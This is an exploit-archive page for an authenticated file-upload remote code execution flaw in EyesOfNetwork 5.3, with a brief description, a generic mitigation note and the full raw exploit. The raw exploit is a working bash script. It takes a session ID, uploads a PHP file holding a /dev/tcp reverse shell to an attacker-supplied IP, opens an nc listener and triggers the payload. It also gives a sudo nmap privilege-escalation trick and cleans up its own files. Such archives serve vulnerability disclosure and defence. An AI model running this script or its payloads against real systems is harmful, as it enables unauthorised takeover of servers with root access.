EyesOfNetwork 5.3 - File Upload Remote Code Execution

vendor:

EyesOfNetwork 5.3

by:

Ariane.Blow

9.8

CVSS

HIGH

Remote Code Execution

434

CWE

Product Name: EyesOfNetwork 5.3

Affected Version From: 5.3

Affected Version To: 5.3-10

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Linux

2021

EyesOfNetwork 5.3 – File Upload Remote Code Execution

EyesOfNetwork 5.3 is vulnerable to a remote code execution vulnerability due to an arbitrary file upload. An attacker can exploit this vulnerability by uploading a malicious file to the server and then executing it. This can be done by using the curl command to upload the file and then using the curl command to execute it. The attacker can then start a listener on their machine to receive the output of the malicious file.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all user input is properly validated and sanitized before being used. Additionally, it is important to ensure that all files uploaded to the server are scanned for malicious content.

Source

Exploit-DB raw data:

# Exploit Title: EyesOfNetwork 5.3 - File Upload Remote Code Execution
# Date: 10/01/2021
# Exploit Author: Ariane.Blow
# Vendor Homepage: https://www.eyesofnetwork.com/en
# Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.3-x86_64-bin.iso
# Version: 5.3-10 (12/9/2020-lastest)

#!/bin/bash

# (/!\) You may have change this string : "user_id=1; user_limitation=0; group_id=1" if you are not the admin user in the admin group, you find this in the cookies params /!\

###############################################
#              (Authentified)                 #
#         Abritraty file upload               #
#  It whase a Challenge to do that in BASH    #
#    But the exploit's working fine !         #
#               ...........                   #
# Exploit is working with the actual version  #
#         Scripted on 01/10/2021              #
#              By Ariane.Blow                 #
#           https://ariane.agency/            #
###############################################
banner()
{
clear
echo "                 ,*-."
echo '                 |  |'
echo '             ,.  |  |'
echo '             | |_|  | ,.'
echo '             `---.  |_| |'
echo '                 |  .--`'
echo "                 |  |"
echo "                 |  |"
echo ""Ω
echo " ! DO NOT USE IF YOU DONT HAVE PERSMISSION !"
echo ""
echo "         EyesOfNetwork 5.3-10"
echo ""
echo "             RedTeam Tool"
echo ""
echo "       Input verification desertion"
echo ""
echo "       RCE via Arbitrary FileUpload"
echo ""
echo ""
}
VAR()
{
#var
#Beacause I don't whant to see all the *.sh in my OPT directory ... BashMan Tips xD !
mkdir /tmp/EON53
cd /tmp/EON53
#you can not upload more than 1 file with a same URL and same filename, i just add a random char at the end of URL and in the filename
export random=$(cat /dev/urandom | tr -dc 'bcdfghjklmnpqrstvwxz' | head -c 9)
export filename=shell$random.xml.php
echo "EyesOfNetwork IP :"
read eonIP
echo "HackerIP (used to start the listener) :"
read hackerIP
echo "Hacker PORT (used to start the listener):"
read PORT
echo "Username (default = admin) :"
read username
echo "password :"
read password
}
#Getting the session_id
GetSessionID()
{
echo "getting sessionID ... "    
echo "curl -i -s -k -X $'POST'     -H $'Host: $eonIP' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://$eonIP/login.php' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 20' -H $'Origin: https://$eonIP' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1'     --data-binary $'login=$username&mdp=$password'     $'https://$eonIP/login.php' | grep session | cut -d ';' -f 1 | cut -d '=' -f 2" >> GetSession.sh
chmod +x GetSession.sh
sessionID=$(./GetSession.sh)
echo "sessionID acquired : $sessionID"
sleep 3
echo 
}
#start listener
start_listen()
{
printf "\e[31;1m When the Reverse-Shell is etablished, you can PrivEsc with :\e[0m \n"
echo "echo 'os.execute(\"/bin/sh\")' > /tmp/nmap.script"
echo "sudo nmap --script=/tmp/nmap.script"
printf "\e[31;1m ... I Know ... \e[0m \n"
echo "gnome-terminal -e 'nc -lnvp $PORT'" >> listen.sh
chmod +x listen.sh
./listen.sh
}
#POST payload
Payload()
{
echo "Sending PostRequest ..."
echo "curl -i -s -k -X $'POST' \
    -H $'Host: $eonIP' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H $'Accept: text/html, */*; q=0.01' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: multipart/form-data; boundary=---------------------------123135855827554554412483984802' -H $'Content-Length: 1565' -H $'Origin: https://$eonIP' -H $'Connection: close' -H $'Referer: https://$eonIP/module/admin_itsm/modification_itsm.php' -H $'Cookie: session_id=$sessionID; user_name=$username; user_id=1; user_limitation=0; group_id=1' \
    -b $'session_id=$sessionID; user_name=$username; user_id=1; user_limitation=0; group_id=1' \
    --data-binary $'-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_url_id\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_url\"\x0d\x0a\x0d\x0ahttp://HackMe.ImFamous$random\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"fileName\"; filename=\"$filename\"\x0d\x0aContent-Type: text/xml\x0d\x0a\x0a<?php\x0d\x0aexec(\"/bin/bash -c \'bash -i > /dev/tcp/$hackerIP/$PORT 0>&1\'\");\x0a\x0a\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"input_file_name\"\x0d\x0a\x0d\x0ashell.xml\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_type_request\"\x0d\x0a\x0d\x0aget\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_header[]\"\x0d\x0a\x0d\x0aaz\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_var[0][var_name]\"\x0d\x0a\x0d\x0aaz\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_var[0][champ_ged_id]\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_parent\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_return_champ\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"action\"\x0d\x0a\x0d\x0aadd_external_itsm\x0d\x0a-----------------------------123135855827554554412483984802--\x0d\x0a' \
    $'https://$eonIP/module/admin_itsm/ajax.php' | grep success" >> req.sh
chmod +x req.sh
./req.sh
}
#Get request on PHP exploit
Req_payload()
{
echo "Get request on the PHP payload ..."
echo "curl -i -s -k -X $'GET' \
    -H $'Host: $eonIP' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: session_id=$sessionID; user_name=$username; user_id=1; user_limitation=0; group_id=1' -H $'Upgrade-Insecure-Requests: 1' -H $'Cache-Control: max-age=0' \
    -b $'session_id=$sessionID; user_name=$username; user_id=1; user_limitation=0; group_id=1' \
    $'https://$eonIP/module/admin_itsm/uploaded_file/$filename'" >> reqGET.sh

chmod +x reqGET.sh
./reqGET.sh
}
#Clearing
Clear_cache()
{
echo "clearing cache"
rm listen.sh
rm req.sh
rm reqGET.sh
rm GetSession.sh
cd ..
rmdir EON53
}

#MAIN
banner
VAR
GetSessionID
start_listen
Payload
Req_payload
Clear_cache